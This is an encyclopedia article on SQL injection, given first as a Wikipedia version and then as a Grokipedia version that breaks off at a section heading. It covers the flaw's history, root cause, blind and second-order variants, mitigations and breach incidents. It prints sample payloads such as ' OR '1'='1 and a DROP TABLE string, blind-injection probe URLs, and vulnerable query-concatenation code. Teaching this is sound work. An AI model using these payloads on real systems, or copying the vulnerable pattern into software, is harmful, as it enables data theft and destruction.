SQL injection
View on Wikipedia

In computing, SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1][2] SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. Document-oriented NoSQL databases can also be affected by this security vulnerability.[3]
SQL injection remains a widely recognized security risk due to its potential to compromise sensitive data. The Open Web Application Security Project (OWASP) describes it as a vulnerability that occurs when applications construct database queries using unvalidated user input. Exploiting this flaw, attackers can execute unintended database commands, potentially accessing, modifying, or deleting data. OWASP outlines several mitigation strategies, including prepared statements, stored procedures, and input validation, to prevent user input from being misinterpreted as executable SQL code.[4]
History
[edit]Discussions of SQL injection began in the late 1990's, including in a 1998 article in Phrack Magazine.[5] SQL injection was ranked among the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project (OWASP).[6] In 2013, SQL injection was listed as the most critical web application vulnerability in the OWASP Top 10.[7]
In 2017, the OWASP Top 10 Application Security Risks grouped SQL injection under the broader category of "Injection," ranking it as the third most critical security threat. This category included various types of injection attacks, such as SQL, NoSQL, OS command, and LDAP injection. These vulnerabilities arise when an application processes untrusted data as part of a command or query, potentially allowing attackers to execute unintended actions or gain unauthorized access to data.[8]
By 2021, injection remained a widespread issue, detected in 94% of analyzed applications, with reported incidence rates reaching up to 19%. That year’s OWASP Top 10 further expanded the definition of injection vulnerabilities to include attacks targeting Object Relational Mapping (ORM) systems, Expression Language (EL), and Object Graph Navigation Library (OGNL). To address these risks, OWASP recommends strategies such as using secure APIs, parameterized queries, input validation, and escaping special characters to prevent malicious data from being executed as part of a query.[9][10]
Root cause
[edit]SQL injection is a common security vulnerability that arises from letting attacker-supplied data become SQL code. This happens when programmers assemble SQL queries either by string interpolation or by concatenating SQL commands with user supplied data. Therefore, injection relies on the fact that SQL statements consist of both data used by the SQL statement and commands that control how the SQL statement is executed. For example, in the SQL statement select * from person where name = 'susan' and age = 2 the string 'susan' is data and the fragment and age = 2 is an example of a command (the value 2 is also data in this example).[11]
SQL injection occurs when specially crafted user input is processed by the receiving program in a way that allows the input to exit a data context and enter a command context. This allows the attacker to alter the structure of the SQL statement which is executed.
As a simple example, imagine that the data 'susan' in the above statement was provided by user input. The user entered the string 'susan' (without the apostrophes) in a web form text entry field, and the program used string concatenation statements to form the above SQL statement from the three fragments select * from person where name=', the user input of 'susan', and ' and age = 2.[11]
Now imagine that instead of entering 'susan' the attacker entered ' or 1=1; --.[11]
The program will use the same string concatenation approach with the 3 fragments of select * from person where name=', the user input of ' or 1=1; --, and ' and age = 2 and construct the statement select * from person where name='' or 1=1; --' and age = 2. Many databases will ignore the text after the '--' string as this denotes a comment. The structure of the SQL command is now select * from person where name='' or 1=1; and this will select all person rows rather than just those named 'susan' whose age is 2. The attacker has managed to craft a data string which exits the data context and entered a command context.[11]
Ways to exploit
[edit]Although the root cause of all SQL injections is the same, there are different techniques to exploit it. Some of them are discussed below:
Getting direct output or action
[edit]Imagine a program creates a SQL statement using the following string assignment command :
var statement = "SELECT * FROM users WHERE name = '" + userName + "'";
This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:
' OR '1'='1
or using comments to even block the rest of the query (there are three types of SQL comments[12]). All three lines have a space at the end:
' OR '1'='1' --
' OR '1'='1' {
' OR '1'='1' /* renders one of the following SQL statements by the parent language:
SELECT * FROM users WHERE name = '' OR '1'='1';
SELECT * FROM users WHERE name = '' OR '1'='1' -- ';
If this code were to be used in authentication procedure then this example could be used to force the selection of every data field (*) from all users rather than from one specific user name as the coder intended, because the evaluation of '1'='1' is always true.
The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:
a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
This input renders the final SQL statement as follows and specified:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.
Blind SQL injection
[edit]Blind SQL injection is used when a web application is vulnerable to a SQL injection, but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack has traditionally been considered time-intensive because a new statement needed to be crafted for each bit recovered, and depending on its structure, the attack may consist of many unsuccessful requests. Recent advancements have allowed each request to recover multiple bits, with no unsuccessful requests, allowing for more consistent and efficient extraction.[13] There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.[14]
Conditional responses
[edit]One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL https://books.example.com/review?id=5 would cause the server to run the query
SELECT * FROM bookreviews WHERE ID = '5';
from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs and https://books.example.com/review?id=5' OR '1'='1, which may result in queries
https://books.example.com/review?id=5' AND '1'='2
SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to an SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server: , which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to achieve their goal directly, or to glean more information from the server in hopes of discovering another avenue of attack.[15][16]
https://books.example.com/review?id=5 AND substring(@@version, 1, INSTR(@@version, '.') - 1)=4
Second-order SQL injection
[edit]Second-order SQL injection occurs when an application only guards its SQL against immediate user input, but has a less strict policy when dealing with data already stored in the system. Therefore, although such application would manage to safely process the user input and store it without issue, it would store the malicious SQL statement as well. Then, when another part of that application would use that data in a query that isn't protected from SQL injection, this malicious statement might get executed.[citation needed] This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.
In order to protect from this kind of attack, all SQL processing must be uniformly secure, despite the data source.
SQL injection mitigation
[edit]SQL injection is a well-known attack that can be mitigated with established security measures. However, a 2015 cyberattack on British telecommunications company TalkTalk exploited an SQL injection vulnerability, compromising the personal data of approximately 400,000 customers. The BBC reported that security experts expressed surprise that a major company remained vulnerable to such an exploit.[17]
A variety of defensive measures exist to mitigate SQL injection risks by preventing attackers from injecting malicious SQL code into database queries. Core mitigation strategies, as outlined by OWASP, include parameterized queries, input validation, and least privilege access controls, which limit the ability of user input to alter SQL queries and execute unintended commands.[4] In addition to preventive measures, detection techniques help identify potential SQL injection attempts. Methods such as pattern matching, software testing, and grammar analysis examine query structures and user inputs to detect irregularities that may indicate an injection attempt.[2]
Core mitigation
[edit]Parameterized statements
[edit]Most development platforms support parameterized statements, also known as placeholders or bind variables, to securely handle user input instead of embedding it in SQL queries. These placeholders store only values of a defined type, preventing input from altering the query structure. As a result, SQL injection attempts are processed as unexpected input rather than executable code. With parametrized queries, SQL code remains separate from user input, and each parameter is passed as a distinct value, preventing it from being interpreted as part of the SQL statement.[4]
Allow-list input validation
[edit]Allow-list input validation ensures that only explicitly defined inputs are accepted, reducing the risk of injection attacks. Unlike deny-lists, which attempt to block known malicious patterns but can be bypassed, allow-lists specify valid input and reject everything else. This approach is particularly effective for structured data, such as dates and email addresses, where strict validation rules can be applied. While input validation alone does not prevent SQL injection and other attacks, it can act as an additional safeguard by identifying and filtering unauthorized input before it reaches an SQL query.[4][18]
Least privilege
[edit]According to OWASP, the principle of least privilege helps mitigate SQL injection risks by ensuring database accounts have only the minimum permissions necessary. Read-only accounts should not have modification privileges, and application accounts should never have administrative access. Restricting database permissions is a key part of this approach, as limiting access to system tables and restricting user roles can reduce the risk of SQL injection attacks. Separating database users for different functions, such as authentication and data modification, further limits potential damage from SQL injection attacks.[4]
Restricting database permissions on the web application's database login further reduces the impact of SQL injection vulnerabilities. Ensuring that accounts have only the necessary access, such as restricting SELECT permissions on critical system tables, can mitigate potential exploits.[citation needed]
On Microsoft SQL Server, limiting SELECT access to system tables can prevent SQL injection attacks that attempt to modify database schema or inject malicious scripts. For example, the following permissions restrict a database user from accessing system objects:[citation needed]
deny select on sys.sysobjects to webdatabaselogon;
deny select on sys.objects to webdatabaselogon;
deny select on sys.tables to webdatabaselogon;
deny select on sys.views to webdatabaselogon;
deny select on sys.packages to webdatabaselogon;
Supplementary mitigation
[edit]Object relational mappers
[edit]Object–relational mapping (ORM) frameworks provide an object-oriented interface for interacting with relational databases. While ORMs typically offer built-in protections against SQL injection, they can still be vulnerable if not properly implemented. Some ORM-generated queries may allow unsanitized input, leading to injection risks. Additionally, many ORMs allow developers to execute raw SQL queries, which if improperly handled can introduce SQL injection vulnerabilities.[19][20]
Deprecated/secondary approaches
[edit]String escaping is generally discouraged as a primary defense against SQL injection. OWASP describes this approach as "frail compared to other defenses" and notes that it may not be effective in all situations. Instead, OWASP recommends using "parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you" as more reliable methods for mitigating SQL injection risks.[4]
String escaping
[edit]One of the traditional ways to prevent injections is to add every piece of data as a quoted string and escape all characters, that have special meaning in SQL strings, in that data.[21] The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation.[citation needed] For instance, every occurrence of a single quote (') in a string parameter must be prepended with a backslash (\) so that the database understands the single quote is part of a given string, rather than its terminator. PHP's MySQLi module provides the mysqli_real_escape_string() function to escape strings according to MySQL semantics; in the following example the username is a string parameter, and therefore it can be protected by means of string escaping:[clarification needed]
$mysqli = new mysqli('hostname', 'db_username', 'db_password', 'db_name');
$query = sprintf("SELECT * FROM `Users` WHERE UserName='%s'",
$mysqli->real_escape_string($username),
$mysqli->query($query);
Besides, not every piece of data can be added to SQL as a string literal (MySQL's LIMIT clause arguments[22] or table/column names[23] for example) and in this case escaping string-related special characters will do no good whatsoever, leaving resulting SQL open to injections.
Examples
[edit]- In February 2002, Jeremiah Jacks discovered that Guess.com was vulnerable to an SQL injection attack, permitting anyone able to construct a properly-crafted URL to pull down 200,000+ names, credit card numbers and expiration dates in the site's customer database.[24]
- On November 1, 2005, a teenaged hacker used SQL injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customers' information.[25]
- On January 13, 2006, Russian computer criminals broke into a Rhode Island government website and allegedly stole credit card data from individuals who have done business online with state agencies.[26]
- On September 19, 2007 and January 26, 2009 the Turkish hacker group "m0sted" used SQL injection to exploit Microsoft's SQL Server to hack web servers belonging to McAlester Army Ammunition Plant and the US Army Corps of Engineers respectively.[27]
- On April 13, 2008, the Sexual and Violent Offender Registry of Oklahoma shut down its website for "routine maintenance" after being informed that 10,597 Social Security numbers belonging to sex offenders had been downloaded via an SQL injection attack.[28]
- On August 17, 2009, the United States Department of Justice charged an American citizen, Albert Gonzalez, and two unnamed Russians with the theft of 130 million credit card numbers using an SQL injection attack. In reportedly "the biggest case of identity theft in American history", the man stole cards from a number of corporate victims after researching their payment processing systems. Among the companies hit were credit card processor Heartland Payment Systems, convenience store chain 7-Eleven, and supermarket chain Hannaford Brothers.[29]
- In July 2010, a South American security researcher who goes by the handle "Ch Russo" obtained sensitive user information from popular BitTorrent site The Pirate Bay. He gained access to the site's administrative control panel and exploited an SQL injection vulnerability that enabled him to collect user account information, including IP addresses, MD5 password hashes and records of which torrents individual users have uploaded.[30]
- From July 24 to 26, 2010, attackers from Japan and China used an SQL injection to gain access to customers' credit card data from Neo Beat, an Osaka-based company that runs a large online supermarket site. The attack also affected seven business partners including supermarket chains Izumiya Co, Maruetsu Inc, and Ryukyu Jusco Co. The theft of data affected a reported 12,191 customers. As of August 14, 2010 it was reported that there have been more than 300 cases of credit card information being used by third parties to purchase goods and services in China.[citation needed]
- On September 19 during the 2010 Swedish general election a voter attempted a code injection by hand writing SQL commands as part of a write-in vote.[31]
- On November 8, 2010 the British Royal Navy website was compromised by a Romanian hacker named TinKode using SQL injection.[32][33]
- On April 11, 2011, Barracuda Networks was compromised using an SQL injection flaw. Email addresses and usernames of employees were among the information obtained.[34]
- Over a period of 4 hours on April 27, 2011, an automated SQL injection attack occurred on Broadband Reports website that was able to extract 8% of the username/password pairs: 8,000 random accounts of the 9,000 active and 90,000 old or inactive accounts.[35][36][37]
- On June 1, 2011, "hacktivists" of the group LulzSec were accused of using SQL injection to steal coupons, download keys, and passwords that were stored in plaintext on Sony's website, accessing the personal information of a million users.[38]
- In June 2011, PBS was hacked by LulzSec, most likely through use of SQL injection; the full process used by hackers to execute SQL injections was described in this Imperva blog.[39]
- In July 2012 a hacker group was reported to have stolen 450,000 login credentials from Yahoo!. The logins were stored in plain text and were allegedly taken from a Yahoo subdomain, Yahoo! Voices. The group breached Yahoo's security by using a "union-based SQL injection technique".[40][41]
- On October 1, 2012, a hacker group called "Team GhostShell" published the personal records of students, faculty, employees, and alumni from 53 universities, including Harvard, Princeton, Stanford, Cornell, Johns Hopkins, and the University of Zurich on pastebin.com. The hackers claimed that they were trying to "raise awareness towards the changes made in today's education", bemoaning changing education laws in Europe and increases in tuition in the United States.[42]
- On November 4, 2013, hacktivist group "RaptorSwag" allegedly compromised 71 Chinese government databases using an SQL injection attack on the Chinese Chamber of International Commerce. The leaked data was posted publicly in cooperation with Anonymous.[43]
- In August 2014, Milwaukee-based computer security company Hold Security disclosed that it uncovered a theft of confidential information from nearly 420,000 websites through SQL injections.[44] The New York Times confirmed this finding by hiring a security expert to check the claim.[45]
- In October 2015, an SQL injection attack was used to steal the personal details of 156,959 customers from British telecommunications company TalkTalk's servers, exploiting a vulnerability in a legacy web portal.[46]
- In early 2021, 70 gigabytes of data was exfiltrated from the far-right website Gab through an SQL injection attack. The vulnerability was introduced into the Gab codebase by Fosco Marotto, Gab's CTO.[47] A second attack against Gab was launched the next week using OAuth2 tokens stolen during the first attack.[48]
- In May 2023, a widespread SQL injection attack targeted MOVEit, a widely used file-transfer service. The attacks, attributed to the Russian-speaking cybercrime group Clop, compromised multiple global organizations, including payroll provider Zellis, British Airways, the BBC, and UK retailer Boots. Attackers exploited a critical vulnerability, installing a custom webshell called "LemurLoot" to rapidly access and exfiltrate large volumes of data.[49]
- In 2024, a pair of security researchers discovered an SQL injection vulnerability in the FlyCASS system, used by the Transportation Security Administration (TSA) to verify airline crew members. Exploiting this flaw provided unauthorized administrative access, potentially allowing the addition of false crew records. The TSA stated that its verification procedures did not solely depend on this database.[50]
In popular culture
[edit]- A 2007 xkcd cartoon involved a character Robert'); DROP TABLE Students;-- named to carry out an SQL injection. As a result of this cartoon, SQL injection is sometimes informally referred to as "Bobby Tables".[51][52]
- Unauthorized login to websites by means of SQL injection forms the basis of one of the subplots in J.K. Rowling's 2012 novel The Casual Vacancy.[citation needed]
- In 2014, an individual in Poland legally renamed his business to Dariusz Jakubowski x'; DROP TABLE users; SELECT '1 in an attempt to disrupt operation of spammers' harvesting bots.[53]
- The 2015 game Hacknet has a hacking program called SQL_MemCorrupt. It is described as injecting a table entry that causes a corruption error in an SQL database, then queries said table, causing an SQL database crash and core dump.[citation needed]
See also
[edit]- Code injection
- Cross-site scripting
- Metasploit Project
- OWASP Open Web Application Security Project
- Prompt injection, a similar concept applied to artificial intelligence
- SGML entity
- Uncontrolled format string
- w3af
- Web application security
References
[edit]- ^ Microsoft. "SQL Injection". Archived from the original on August 2, 2013. Retrieved August 4, 2013.
SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQLi Server will execute all syntactically valid queries that it receives. Even parameterized data can be manipulated by a skilled and determined attacker.
- ^ a b Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (April 2021). "Long short-term memory on abstract syntax tree for SQL injection detection". IET Software. 15 (2): 188–197. doi:10.1049/sfw2.12018. ISSN 1751-8806. S2CID 233582569.
- ^ "Hacking NodeJS and MongoDB". Retrieved January 13, 2026.
- ^ a b c d e f "SQL Injection Prevention Cheat Sheet". Open Web Application Security Project (OWASP). Retrieved March 10, 2025.
- ^ Jeff Forristal (signing as rain.forest.puppy) (December 25, 1998). "NT Web Technology Vulnerabilities". Phrack Magazine. 8 (54 (article 8)). Archived from the original on March 19, 2014.
- ^ "Category:OWASP Top Ten Project". Open Web Application Security Project (OWASP). Archived from the original on May 19, 2011. Retrieved June 3, 2011.
- ^ "Category:OWASP Top Ten Project". Open Web Application Security Project (OWASP). Archived from the original on October 9, 2013. Retrieved August 13, 2013.
- ^ "OWASP Top 10 Application Security Risks - 2017". Open Web Application Security Project (OWASP). Retrieved March 9, 2025.
- ^ "OWASP Top 10 2021". Open Web Application Security Project (OWASP). Retrieved March 9, 2025.
- ^ "A03:2021 – Injection". Open Web Application Security Project (OWASP). Retrieved March 9, 2025.
- ^ a b c d SentinelOne (September 30, 2024). "What is SQL Injection? Examples & Prevention". SentinelOne. Retrieved April 15, 2026.
- ^ "How to Enter SQL Comments" (PDF), IBM Informix Guide to SQL: Syntax, IBM, pp. 13–14, archived from the original (PDF) on February 24, 2021, retrieved June 4, 2018
- ^ "Extracting Multiple Bits Per Request From Full-blind SQL Injection Vulnerabilities". Hack All The Things. Archived from the original on July 8, 2016. Retrieved July 8, 2016.
- ^ "Using SQLBrute to brute force data from a blind SQL injection point". Justin Clarke. Archived from the original on June 14, 2008. Retrieved October 18, 2008.
- ^ macd3v. "Blind SQL Injection tutorial". Archived from the original on December 14, 2012. Retrieved December 6, 2012.
{{cite web}}: CS1 maint: numeric names: authors list (link) - ^ Andrey Rassokhin; Dmitry Oleksyuk. "TDSS botnet: full disclosure". Archived from the original on December 9, 2012. Retrieved December 6, 2012.
- ^ "Questions for TalkTalk - BBC News". BBC News. October 26, 2015. Archived from the original on October 26, 2015. Retrieved October 26, 2015.
- ^ "Input Validation Cheat Sheet". Open Web Application Security Project (OWASP). Retrieved March 10, 2025.
- ^ "Testing for ORM Injection". OWASP. Retrieved March 17, 2025.
- ^ "SQL Injection Attacks & Prevention: Complete Guide". appsecmonkey.com. February 13, 2021. Retrieved February 24, 2021.
- ^ "MySQL String Literals".
- ^ "MySQL SELECT Statement".
- ^ "MySQL Schema Object Names".
- ^ "Guesswork Plagues Web Hole Reporting". SecurityFocus. March 6, 2002. Archived from the original on July 9, 2012.
- ^ "WHID 2005-46: Teen uses SQL injection to break to a security magazine web site". Web Application Security Consortium. November 1, 2005. Archived from the original on January 17, 2010. Retrieved December 1, 2009.
- ^ "WHID 2006-3: Russian hackers broke into a RI GOV website". Web Application Security Consortium. January 13, 2006. Archived from the original on February 13, 2011. Retrieved May 16, 2008.
- ^ "Anti-U.S. Hackers Infiltrate Army Servers". Information Week. May 29, 2009. Archived from the original on December 20, 2016. Retrieved December 17, 2016.
- ^ Alex Papadimoulis (April 15, 2008). "Oklahoma Leaks Tens of Thousands of Social Security Numbers, Other Sensitive Data". The Daily WTF. Archived from the original on May 10, 2008. Retrieved May 16, 2008.
- ^ "US man 'stole 130m card numbers'". BBC. August 17, 2009. Archived from the original on August 18, 2009. Retrieved August 17, 2009.
- ^ "The pirate bay attack". July 7, 2010. Archived from the original on August 24, 2010.
- ^ "Did Little Bobby Tables migrate to Sweden?". Alicebobandmallory.com. Retrieved June 3, 2011.
{{cite web}}: CS1 maint: deprecated archival service (link) - ^ "Royal Navy website attacked by Romanian hacker". BBC News. November 8, 2010. Archived from the original on November 9, 2010. Retrieved November 15, 2023.
- ^ Sam Kiley (November 25, 2010). "Super Virus A Target For Cyber Terrorists". Archived from the original on November 28, 2010. Retrieved November 25, 2010.
- ^ "Hacker breaks into Barracuda Networks database". Archived from the original on July 27, 2011.
- ^ "site user password intrusion info". Dslreports.com. Archived from the original on October 18, 2012. Retrieved June 3, 2011.
- ^ "DSLReports says member information stolen". Cnet News. April 28, 2011. Archived from the original on March 21, 2012. Retrieved April 29, 2011.
- ^ "DSLReports.com breach exposed more than 100,000 accounts". The Tech Herald. April 29, 2011. Archived from the original on April 30, 2011. Retrieved April 29, 2011.
- ^ "LulzSec hacks Sony Pictures, reveals 1m passwords unguarded", electronista.com, June 2, 2011, archived from the original on June 6, 2011, retrieved June 3, 2011
- ^ "Imperva.com: PBS Hacked - How Hackers Probably Did It". Archived from the original on June 29, 2011. Retrieved July 1, 2011.
- ^ Ngak, Chenda. "Yahoo reportedly hacked: Is your account safe?". CBS News. Archived from the original on July 14, 2012. Retrieved July 16, 2012.
- ^ Yap, Jamie (July 12, 2012). "450,000 user passwords leaked in Yahoo breach". ZDNet. Archived from the original on July 2, 2014. Retrieved February 18, 2017.
- ^ Perlroth, Nicole (October 3, 2012). "Hackers Breach 53 Universities and Dump Thousands of Personal Records Online". New York Times. Archived from the original on October 5, 2012.
- ^ Kovacs, Eduard (November 4, 2013). "Hackers Leak Data Allegedly Stolen from Chinese Chamber of Commerce Website". Softpedia News. Archived from the original on March 2, 2014. Retrieved February 27, 2014.
- ^ Damon Poeter. 'Close-Knit' Russian Hacker Gang Hoards 1.2 Billion ID Creds Archived July 14, 2017, at the Wayback Machine, PC Magazine, August 5, 2014
- ^ Nicole Perlroth. Russian Gang Amasses Over a Billion Internet Passwords Archived February 27, 2017, at the Wayback Machine, The New York Times, August 5, 2014.
- ^ "TalkTalk gets record £400,000 fine for failing to prevent October 2015 attack". October 5, 2016. Archived from the original on October 24, 2016. Retrieved October 23, 2016.
- ^ Goodin, Dan (March 2, 2021). "Rookie coding mistake prior to Gab hack came from site's CTO". Ars Technica.
- ^ Goodin, Dan (March 8, 2021). "Gab, a haven for pro-Trump conspiracy theories, has been hacked again". Ars Technica.
- ^ "Mass exploitation of critical MOVEit flaw is ransacking orgs big and small". Ars Technica. June 6, 2023. Retrieved March 9, 2025.
- ^ "Researchers say a bug let them add fake pilots to rosters used for TSA checks". The Verge. September 8, 2024. Retrieved March 9, 2025.
- ^ Munroe, Randall. "XKCD: Exploits of a Mom". Archived from the original on February 25, 2013. Retrieved February 26, 2013.
- ^ "The Bobby Tables Guide to SQL Injection". September 15, 2009. Archived from the original on November 7, 2017. Retrieved October 30, 2017.
- ^ "Jego firma ma w nazwie SQL injection. Nie zazdrościmy tym, którzy będą go fakturowali ;)". Niebezpiecznik (in Polish). September 11, 2014. Archived from the original on September 24, 2014. Retrieved September 26, 2014.
External links
[edit]- OWASP SQL Injection Cheat Sheets, by OWASP.
- WASC Threat Classification - SQL Injection Entry, by the Web Application Security Consortium.
- Why SQL Injection Won't Go Away Archived November 9, 2012, at the Wayback Machine, by Stuart Thomas.
- SDL Quick security references on SQL injection by Bala Neerumalla.
- How security flaws work: SQL injection
SQL injection
View on GrokipediaSELECT * FROM users WHERE username = 'input' AND password = 'input'; can be manipulated by entering ' OR '1'='1 as the username, resulting in a query that authenticates any user without a valid password.[1] Impacts range from confidentiality breaches—such as dumping entire databases—to integrity violations like altering records, and availability disruptions through data deletion or denial-of-service.[5] SQL injection remains highly prevalent, ranking as a top risk in security frameworks due to its simplicity and effectiveness against poorly coded applications.[6]
Common variants include in-band SQLi (error-based or union-based, where results are visible in application responses), blind SQLi (boolean-based or time-based, inferring data through true/false conditions or query delays), and out-of-band SQLi (using alternative channels like DNS for data exfiltration).[1] SQL injection gained notoriety in the early 2000s with widespread exploits; notable incidents include 2008 attacks that compromised over 500,000 websites via automated tools targeting Microsoft IIS servers.[5] Despite awareness, it persists as one of the most dangerous software weaknesses, appearing in the CWE Top 25 as of 2024 and contributing to numerous breaches annually.[7]
Prevention relies on robust input handling and secure coding practices, such as using prepared statements or parameterized queries to separate SQL code from data, ensuring user input cannot alter query logic.[5] Additional measures include input validation and sanitization (e.g., whitelisting allowed characters), employing least-privilege database accounts, and conducting regular security audits or penetration testing.[3] Web application firewalls (WAFs) can detect anomalous patterns, but they serve as a secondary defense, not a substitute for secure development.[5]
Fundamentals
Definition and Overview
SQL injection (SQLi) is a web security vulnerability that enables an attacker to interfere with the queries an application makes to its database by injecting malicious SQL code through user input fields, such as form fields or URL parameters. This technique exploits insufficient input validation or sanitization, allowing the attacker to alter the structure and logic of the original SQL query, potentially executing unintended commands on the database server. As defined by the Open Web Application Security Project (OWASP), SQL injection occurs when untrusted data is sent to an application in a manner that changes the meaning of commands sent to the database interpreter.[8][1][9] The vulnerability primarily impacts web applications built with relational database management systems (RDBMS), including popular ones like MySQL, PostgreSQL, and Oracle Database. It is especially common in environments where dynamic SQL queries are constructed by concatenating user-supplied data directly into the query string without proper escaping. Legacy systems, often running outdated software or frameworks lacking built-in protections, remain highly susceptible due to their continued use in enterprise settings without comprehensive security retrofits.[1][8][10] The risks associated with SQL injection are severe, encompassing unauthorized disclosure of confidential information, such as user credentials or financial data; tampering with database contents through insertions, updates, or deletions; and escalation to administrative privileges that could execute system-level commands. In extreme cases, attackers may leverage the vulnerability to achieve full server compromise, potentially leading to data breaches affecting millions of records.[8][1] SQL injection has persisted as a critical threat, consistently appearing in the OWASP Top 10 list of web application security risks since the list's debut in 2003, where it was categorized under unvalidated input as the top concern; it held the number one position from 2010 to 2017 before shifting to third in 2021 and fifth in the 2025 release candidate.[11][12][6]Underlying Mechanism
SQL injection vulnerabilities arise primarily from the practice of dynamically constructing SQL queries by directly concatenating or interpolating untrusted user input into the query string without adequate validation or escaping. This approach creates injection points where malicious input can modify the semantic structure of the SQL statement, effectively allowing attackers to append, alter, or terminate the intended query logic. In web applications, this often occurs when application code in languages like PHP or Java builds queries using string operations on data sourced from external inputs, assuming basic knowledge of SQL syntax such as SELECT statements and WHERE clauses.[13][14][1] The query alteration process exploits the lack of separation between code and data in the SQL statement. Consider a typical authentication query intended to verify a user's ID:SELECT * FROM users WHERE id = '1';. If the application constructs this dynamically, such as in PHP with $query = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "';";, an attacker can supply input like ' OR '1'='1 via a URL parameter (e.g., example.com/login?id=' OR '1'='1). This concatenates to form SELECT * FROM users WHERE id = '' OR '1'='1';, where the injected OR '1'='1 evaluates to true for every row, bypassing the authentication check and potentially returning all user records. Similarly, in Java, vulnerable code might read: String query = "SELECT * FROM users WHERE id = '" + request.getParameter("id") + "';";, leading to the same alteration when the parameter is manipulated. The injected single quote closes the string prematurely, allowing the appended SQL fragment to execute as part of the query.[13][1][15]
Common entry points for such untrusted input in web applications include HTML form fields (e.g., login usernames or search boxes), URL query parameters (e.g., ?id=1), and even cookies or HTTP headers that feed into query construction. These inputs are often processed without distinguishing between legitimate data and executable SQL, enabling the injection in dynamic queries across various database backends like MySQL or PostgreSQL. This mechanism underpins the vulnerability, as the database interprets the entire concatenated string as valid SQL, executing unintended operations based on the attacker's payload.[3][14]
Historical Context
Origins and Early Recognition
The concept of SQL injection emerged in the late 1990s as web applications increasingly relied on dynamic database queries. The first public documentation of the vulnerability appeared on December 25, 1998, in Phrack Magazine issue 54, article 8, titled "NT Web Technology Vulnerabilities." Security researcher Jeff Forristal, under the pseudonym rain.forest.puppy, detailed how attackers could append malicious SQL commands to user inputs in Microsoft ASP and IDC files interfacing with ODBC and SQL Server 6.5, allowing unauthorized execution of additional queries such as dumping table contents. Although Forristal did not use the specific term "SQL injection," his analysis highlighted the risks of unescaped user input altering query logic, marking the initial technical recognition of the technique.[16] Early discussions of such vulnerabilities surfaced in security forums shortly thereafter. Between 1999 and 2000, practitioners on mailing lists like Bugtraq reported instances of the issue in various applications, including a SQL injection flaw in Phorum 3.0.7 that allowed arbitrary query execution via the sSQL parameter, and another in Oracle Internet Application Server 3.0.7 affecting mod_sql modules. These reports, often tied to common gateway interface scripts and early dynamic web technologies, demonstrated growing community awareness of input manipulation risks in database-driven sites.[17][18] The term "SQL injection" was coined around 2001 within the security community, appearing in blogs and technical write-ups as a descriptor for injecting malicious SQL code into application queries, analogous to buffer overflow attacks where extraneous data overflows into executable space. This nomenclature standardized the vulnerability's identification, facilitating broader discourse. By 2002, presentations at security conferences like Black Hat Windows emphasized detection methods, including basic manual scanning techniques for identifying injectable parameters in web forms.[19] Initial industry-wide awareness accelerated with the founding of the Open Web Application Security Project (OWASP) on September 9, 2001, which quickly prioritized application security risks. OWASP's inaugural Top 10 list in 2003 explicitly included SQL injection as a critical vulnerability, underscoring its prevalence in poorly sanitized inputs and urging parameterized queries as a defense. This inclusion in authoritative vulnerability lists propelled systematic research and mitigation efforts in the early 2000s.Major Incidents and Evolution
